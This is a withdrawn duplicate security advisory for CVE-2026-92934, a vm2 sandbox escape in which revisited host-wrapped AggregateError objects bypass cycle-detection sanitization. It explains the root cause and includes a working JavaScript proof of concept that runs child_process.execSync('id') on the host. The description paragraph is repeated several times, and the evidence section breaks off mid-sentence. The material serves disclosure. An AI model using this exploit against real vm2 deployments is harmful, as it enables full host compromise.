CVE-2026-92934

vm2 before 3.11.8 contains an incomplete fix for Error.cause sanitization that allows sandbox escape when revisited host-wrapped AggregateError objects are caught within a single exception handler traversal. Attackers can exploit cycle detection bypass in handleException to access unsanitized host proxies embedded in the errors array, enabling full remote code execution and process information disclosure from the sandbox.

vm2 before 3.11.8 contains an incomplete fix for Error.cause sanitization that allows sandbox escape when revisited host-wrapped AggregateError objects are caught within a single exception handler traversal. Attackers can exploit cycle detection bypass in handleException to access unsanitized host proxies embedded in the errors array, enabling full remote code execution and process information disclosure from the sandbox.

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-x965-fc75-jpqh. This link is maintained to preserve external references.

Original Description

vm2 before 3.11.8 contains an incomplete fix for Error.cause sanitization that allows sandbox escape when revisited host-wrapped AggregateError objects are caught within a single exception handler traversal. Attackers can exploit cycle detection bypass in handleException to access unsanitized host proxies embedded in the errors array, enabling full remote code execution and process information disclosure from the sandbox.

Summary

vm2 3.11.6 (this fork's latest release) contains an incomplete-fix bypass of the Error.cause host-reference sanitization added in GHSA-m283-3h24-438v (commit 7e3faaf). Sandbox code that catches a host-wrapped AggregateError which is revisited within a single handleException traversal (self-cycle, mutual-cycle, or the same host aggregate referenced twice in errors[]) receives a live, unsanitized host proxy inside the "sanitized" errors[], yielding full host RCE on the throw channel that the fix and Defense Invariant #3 explicitly promise to sanitize.

Root Cause

handleException (lib/setup-sandbox.js) breaks recursion cycles at line 1819 with if (apply(localWeakMapGet, visited, [e])) return e; — returning the RAW host carrier on revisit. For plain-Error carriers this is safe because sanitizeErrorCause/sanitizeHostOwnProps seal the host object in place on first visit. But sanitizeAggregateError (~1954-1972) snapshot-and-rebuilds host-wrapped carriers into a fresh LocalAggregateError and does NOT seal the original in place. When such a carrier is revisited within one traversal, line 1819 hands back the still-live raw host proxy, which the rebuild re-embeds via sanitizedArr[sanitizedArr.length] = handleException(item, visited) (line 1965) into the "sanitized" errors[].

Impact

Full host RCE (child_process.execSync) and host info disclosure (process.env, .pid) from within the vm2 sandbox — a complete sandbox escape on the caught-exception (throw) channel.

Proof of Concept

const {VM} = require('vm2');
const vm = new VM({ sandbox: { hostThrow(){
  const shared = new AggregateError([], 'shared');
  shared.leak = process;                                  // incidental host ref
  throw new AggregateError([shared, shared], 'all failed'); // same host obj twice
}}});
console.log(vm.run(`
  try { hostThrow(); } catch (e) {
    e.errors[1].leak.mainModule.require('child_process').execSync('id').toString();
  }`));                                                   // -> uid=1000(...) host RCE

Confirmed vectors (all return real id output): AggregateError self-cycle (agg.errors=[agg]; agg.leak=process), duplicate-in-array ([shared,shared]), mutual-cycle (a.errors=[b]; b.errors=[a]), and nested mutual/duplicated host sub-AggregateError.

Attack Chain

1. Entry — embedder exposes a host function the sandbox invokes; it throws a host-wrapped AggregateError carrying a host reference in a rebuild-surviving slot plus a revisit trigger (agg.errors=[agg]; agg.leak=process). Guard: none at entry (throwing from an exposed host fn is normal). Bypass proof: same entry class as GHSA-m283-3h24-438v (embedder-exposed throwing fn, docs/ATTACKS.md Category 38), accepted in scope.
2. Caught-exception sanitizer — sandbox try{hostThrow()}catch(e){…}; transformer routes e through handleException. Guard: Defense Invariant #3 (Aggregate/Suppressed nested fields sanitized with cycle detection). Bypass proof: handleException(agg) marks agg visited (1820); proto-walk routes to sanitizeAggregateError (1865); host-wrapped branch reads agg.errors and calls handleException(agg, visited) on element 0 (1965); that inner call hits visited.get(agg)===true → return e (1819) → raw agg proxy pushed into sanitizedArr → becomes newAgg.errors[0]. The rebuild does NOT seal agg in place, so the returned proxy is fully live.
3. Sink — e.errors[0].leak.mainModule.require('child_process').execSync('id'). Guard: bridge get wraps host values. Bypass proof: the wrap is functional, not capability-restricting; instrumented trace shows e.errors[0].isProxy===true yet the chain executes and returns real uid=1000(ubuntu)....
4. Impact — host RCE with host privileges; also process.env/.pid disclosure.

Bypass Evidence

Executed on node v22.23, vm2 3.11.6:

• Baseline vector throw new Error('x',{cause:process}) (plain…

vm2 before 3.11.8 contains an incomplete fix for Error.cause sanitization that allows sandbox escape when revisited host-wrapped AggregateError objects are caught within a single exception handler traversal. Attackers can exploit cycle detection bypass in handleException to access unsanitized host proxies embedded in the errors array, enabling full remote code execution and process information disclosure from the sandbox.

vm2 before 3.11.8 contains an incomplete fix for Error.cause sanitization that allows sandbox escape when revisited host-wrapped AggregateError objects are caught within a single exception handler traversal. Attackers can exploit cycle detection bypass in handleException to access unsanitized host proxies embedded in the errors array, enabling full remote code execution and process information disclosure from the sandbox.